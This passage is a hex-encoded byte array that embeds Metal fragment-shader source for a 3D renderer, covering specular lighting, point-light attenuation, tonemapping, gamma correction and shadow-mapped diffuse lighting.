0x73,0x74,0x61,0x6e,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x0a,0x7b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x35,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x28,0x28,0x38,0x2e,0x30,0x20,0x2b,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,
0x61,0x74,0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x30,0x33,0x39,0x37,0x38,0x38,0x37,0x33,0x34,0x31,0x36,0x37,0x38,0x31,
0x34,0x32,0x35,0x34,0x37,0x36,0x30,0x37,0x34,0x32,0x31,0x38,0x37,0x35,0x29,0x20,
0x2a,0x20,0x70,0x6f,0x77,0x28,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,
0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6e,0x6f,0x72,0x6d,
0x61,0x6c,0x69,0x7a,0x65,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x20,
0x2b,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x29,0x29,0x2c,0x20,0x30,0x2e,
0x30,0x29,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x73,0x68,
0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,
0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,
0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,
0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,0x74,0x65,0x6e,
0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x74,0x68,0x72,
0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x26,0x20,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,
0x64,0x69,0x75,0x73,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x26,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,
0x66,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x31,
0x2e,0x30,0x20,0x2d,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x69,0x6e,0x28,0x31,
0x2e,0x30,0x2c,0x20,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x64,0x69,0x73,0x74,0x61,
0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x29,0x2c,
0x20,0x32,0x2e,0x30,0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x3b,
0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x36,0x34,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,
0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,
0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x74,0x68,0x72,0x65,0x61,
0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,
0x6c,0x69,0x6e,0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x36,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,
0x6f,0x74,0x28,0x6c,0x69,0x6e,0x65,0x61,0x72,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,0x39,0x39,0x39,0x39,0x32,0x37,0x35,0x32,
0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x37,0x31,
0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,0x36,0x31,0x38,0x32,0x32,0x35,0x30,0x39,
0x37,0x36,0x35,0x36,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x37,0x32,0x32,0x30,0x30,
0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,0x32,0x32,0x39,0x34,0x39,0x32,0x31,0x38,
0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x37,
0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,
0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,
0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,
0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,
0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x37,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x28,0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,0x34,0x36,0x38,0x30,
0x39,0x31,0x39,0x36,0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,0x38,0x37,0x35,0x29,
0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,
0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,
0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,
0x68,0x61,0x72,0x64,0x28,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x78,0x29,0x0a,0x7b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x38,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x78,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x20,0x3d,0x20,0x78,0x20,0x2f,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,
0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,
0x61,0x6d,0x6d,0x61,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,0x7d,
0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,
0x67,0x6d,0x65,0x6e,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,
0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x2c,0x20,
0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,
0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x76,0x5f,0x31,0x31,0x30,0x20,
0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x63,
0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x26,0x20,0x5f,0x32,0x39,0x32,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,
0x28,0x31,0x29,0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x33,
0x32,0x38,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x32,0x29,0x5d,0x5d,
0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x33,0x38,0x37,0x20,0x5b,
0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x33,0x29,0x5d,0x5d,0x2c,0x20,0x74,0x65,
0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,0x20,0x75,
0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,
0x70,0x20,0x5b,0x5b,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x28,0x30,0x29,0x5d,0x5d,
0x2c,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,
0x74,0x3e,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x20,0x5b,0x5b,0x74,0x65,0x78,
0x74,0x75,0x72,0x65,0x28,0x31,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,0x72,0x20,0x5b,0x5b,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x53,0x6d,0x70,0x6c,0x72,0x20,
0x5b,0x5b,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x28,0x31,0x29,0x5d,0x5d,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,
0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x31,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x5f,0x32,0x38,0x38,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,
0x28,0x69,0x6e,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x31,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x5f,0x33,0x30,0x30,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x69,0x7a,0x65,0x28,0x5f,0x32,0x39,0x32,0x2e,0x75,0x56,0x69,0x65,0x77,0x50,
0x6f,0x73,0x20,0x2d,0x20,0x69,0x6e,0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,
0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,
0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x5f,0x33,0x31,0x31,0x20,0x3d,0x20,0x75,0x49,0x6d,0x61,0x67,0x65,
0x30,0x2e,0x73,0x61,0x6d,0x70,0x6c,0x65,0x28,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,
0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,0x69,0x6e,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x20,0x5f,0x33,0x31,0x34,0x20,0x3d,0x20,0x5f,0x33,0x31,0x31,0x20,0x2a,0x20,0x69,
0x6e,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x32,0x34,0x20,0x3d,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x31,0x34,0x2e,0x78,0x79,0x7a,0x29,
0x20,0x2a,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x33,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,0x20,0x5f,0x33,
0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,
0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x33,0x33,0x39,0x20,
0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,
0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x32,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,
0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x20,0x2a,0x20,0x5f,0x33,
0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x33,0x33,0x39,0x20,
0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x35,0x20,0x3d,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,
0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x36,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x32,0x32,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x37,0x20,0x3d,0x20,0x5f,0x33,
0x32,0x38,0x2e,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,
0x3d,0x20,0x28,0x28,0x28,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,
0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x2e,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,
0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x39,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,0x20,0x5f,0x33,0x32,0x38,0x2e,0x6c,
0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x29,0x20,0x2a,0x20,
0x5f,0x33,0x33,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,
0x63,0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x61,0x73,0x74,
0x3a,0x3a,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,0x61,0x6d,0x62,0x65,0x72,0x74,0x5f,
0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x35,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,0x2c,0x20,0x30,0x2e,0x30,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x2c,0x20,0x69,0x6e,0x2e,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x70,0x6f,0x73,0x2c,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2c,0x20,0x75,0x5f,0x69,0x6d,0x61,
0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,
0x6c,0x72,0x29,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x7d,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x32,0x33,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x5f,0x33,0x39,0x31,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x28,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,0x20,0x69,0x6e,0x2e,0x76,0x46,0x72,0x61,
0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x5f,0x33,0x39,0x39,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x5f,0x33,0x39,
0x31,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
